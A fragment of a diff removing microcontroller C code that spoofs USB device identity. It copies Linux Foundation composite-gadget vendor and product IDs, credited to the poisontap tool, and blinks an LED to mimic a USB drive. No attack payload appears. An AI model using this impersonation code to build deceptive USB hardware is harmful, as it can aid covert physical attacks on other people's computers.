https://github.com/samyk/poisontap/blob/master/pi_startup.sh for fake id's -*/ - -tusb_desc_device_t deviceDescriptor = { - .bLength = sizeof(tusb_desc_device_t), - .bDescriptorType = TUSB_DESC_DEVICE, - .bcdUSB = 0x0200, // USB 2.0 - - .bDeviceClass = 0, - .bDeviceSubClass = 0, - .bDeviceProtocol = 0, - .bMaxPacketSize0 = CFG_TUD_ENDPOINT0_SIZE, - - .idVendor = 0x1d6b, // linux foundation - .idProduct = 0x0104, // multi-function composite gadget - .bcdDevice = 0x0100, - .iManufacturer = 0x01, - .iProduct = 0x02, - .iSerialNumber = 0x03, - - .bNumConfigurations = 1 -}; - -// faking usb drive blinking -void fakeUSB() { - bool led = false; - - printf("\n1. Start LED blinking\n"); - printf("2. Stop LED blinking\n"); - printf("\n> "); - - int choiceA; - scanf("%d", &choiceA); - switch (choiceA) { - case 1: - if (led) { - printf("Already running! :/\n"); - } else { - led = true; - while (led) { - gpio_put(LED_PIN, 1); // led on - sleep_ms(500); - gpio_put(LED_PIN, 0); // led off - sleep_ms(500); - - if (scanf("%d", &choiceA) == 1 && choiceA == 2) { - led = false; - } - } - } - break; - - case 2: - led = false; - break; - - default: - printf("%d: Invalid choice\n", choiceA); - } -} - -// spoof device id's based on deviceDescriptor -void spoofID() { - // init regardless - tusb_init(); - - tud_descriptor_device_register(&deviceDescriptor); -} \ No newline at end of file